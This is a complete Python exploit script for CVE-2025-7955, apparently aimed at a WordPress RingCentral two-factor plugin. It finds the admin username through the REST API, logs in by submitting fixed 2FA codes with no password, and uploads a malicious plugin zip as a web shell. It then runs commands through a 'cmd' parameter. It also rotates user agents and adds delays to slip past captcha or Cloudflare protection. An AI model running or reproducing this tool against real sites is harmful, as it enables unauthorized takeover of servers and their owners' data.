import requests import argparse import sys import os import random import time from bs4 import BeautifulSoup def print_banner(): banner = r""" 888b 888 888 d8b 888 888 8888b 888 888 Y8P 888 888 88888b 888 888 888 888 888Y88b 888 888 888 88888b. 888 .d88b. 888 888888 .d88b. .d88888 888 Y88b888 `Y8bd8P' 888 "88b 888 d88""88b 888 888 d8P Y8b d88" 888 888 Y88888 X88K 888 888 888 888 888 888 888 88888888 888 888 888 Y8888 .d8""8b. 888 d88P 888 Y88..88P 888 Y88b. Y8b. Y88b 888 888 Y888 888 888 88888P" 888 "Y88P" 888 "Y888 "Y8888 "Y88888 888 888 888 CVE-2025-7955 Exploit By : Nxploited """ print(banner) def generate_headers(): user_agents = [ "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/117.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:118.0) Gecko/20100101 Firefox/118.0" ] ua = random.choice(user_agents) headers = { "User-Agent": ua, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0", "DNT": "1" } return headers def random_delay(min_delay=1, max_delay=3): t = random.uniform(min_delay, max_delay) time.sleep(t) def bypass_protection(response_text): block_keywords = ["captcha", "cloudflare", "blocked", "challenge"] if any(word in response_text.lower() for word in block_keywords): print("[-] Potential protection detected! Trying to bypass...") random_delay(2, 5) return True return False def fetch_username(api, uid, headers): print(f"[*] Trying to fetch username from API for user ID {uid} ...") try: api_url = f"{api.rstrip('/')}/wp-json/wp/v2/users/{uid}" r = requests.get(api_url, headers=headers, timeout=10) if r.status_code == 200 and 'name' in r.json(): username = r.json()['name'] print(f"[+] Username found: {username}") return username else: print("[-] Could not fetch username from API.") return None except Exception as e: print(f"[-] Exception while fetching username: {e}") return None def login(sess, url, user, headers): data = { "log": user, "RC_Validate_submit": "1", "ringcentral_2fa_code": "123456", "validation_code": "123456", "remember_me": "forever" } login_url = f"{url}/wp-login.php" x = sess.post(login_url, data=data, allow_redirects=False, headers=headers) if bypass_protection(x.text): print("[-] Blocked by some protection mechanism during login.") sys.exit(1) if "Location" in x.headers and "/wp-admin/" in x.headers["Location"]: return True return False def get_nonce(sess, url, headers): h = sess.get(f"{url}/wp-admin/plugin-install.php?tab=upload", headers=headers) if bypass_protection(h.text): print("[-] Blocked by some protection mechanism during nonce extraction.") sys.exit(1) s = BeautifulSoup(h.text, "html.parser") i = s.find("input", {"id": "_wpnonce"}) return i["value"] if i else None def upload_plugin(sess, url, nonce, zpath, headers): with open(zpath, "rb") as f: files = {"pluginzip": (os.path.basename(zpath), f, "application/zip")} data = { "_wpnonce": nonce, "_wp_http_referer": "/wordpress/wp-admin/plugin-install.php" } r = sess.post(f"{url}/wp-admin/update.php?action=upload-plugin", data=data, files=files, headers=headers) if bypass_protection(r.text): print("[-] Blocked by some protection mechanism during plugin upload.") sys.exit(1) return r def shell(sess, url, cmd, headers): shell_url = f"{url}/wp-content/plugins/Nxploit/index.php?cmd={cmd}" resp = sess.get(shell_url, headers=headers) if bypass_protection(resp.text): print("[-] Blocked by some protection mechanism during shell command execution.") sys.exit(1) return resp.text.strip() def Nxploited(target, username, uid, zpath): headers = generate_headers() sess = requests.Session() print(f"[*] Using User-Agent: {headers['User-Agent']}") sess.get(f"{target}/wp-login.php", headers=headers) random_delay() if not username: username = fetch_username(target, uid, headers) if not username: print("[-] Username could not be determined. Exiting.") sys.exit(1) print(f"[*] Attempting login as: {username} (ID: {uid})") if not login(sess, target, username, headers): print("[-] Login failed or exploit not enabled.") sys.exit(1) print("[+] Login successful!") random_delay() nonce = get_nonce(sess, target, headers) if not nonce: print("[-] Nonce extraction failed. Exiting.") sys.exit(1) print(f"[+] Nonce: {nonce}") if not os.path.exists(zpath): print(f"[-] Plugin {zpath} not found. Exiting.") sys.exit(1) print("[*] Uploading malicious plugin...") ures = upload_plugin(sess, target, nonce, zpath, headers) if "Plugin installed successfully" in ures.text or "has been installed" in ures.text: print("[+] Plugin uploaded successfully!") else: print("[-] Plugin upload failed.") print(ures.text) sys.exit(1) random_delay() print("[*] Executing: whoami") out = shell(sess, target, "whoami", headers) print("-" * 40) print(out) print("-" * 40) print(f"[+] Shell: {target}/wp-content/plugins/Nxploit/index.php?cmd=COMMAND") def parse_args(): p = argparse.ArgumentParser(description="CVE-2025-7955") p.add_argument("-u", "--url", required=True, help="Target WordPress site URL") p.add_argument("-user", "--username", default="", help="WordPress admin username (optional)") p.add_argument("-id", "--id_admin", default="1", help="WordPress admin user ID (default: 1)") p.add_argument("-z", "--zip", default="Nxploit.zip", help="Malicious plugin zip path (default: Nxploit.zip)") return p.parse_args() def main(): print_banner() args = parse_args() Nxploited(args.url.rstrip('/'), args.username.strip(), args.id_admin.strip(), args.zip) if __name__ == "__main__": main()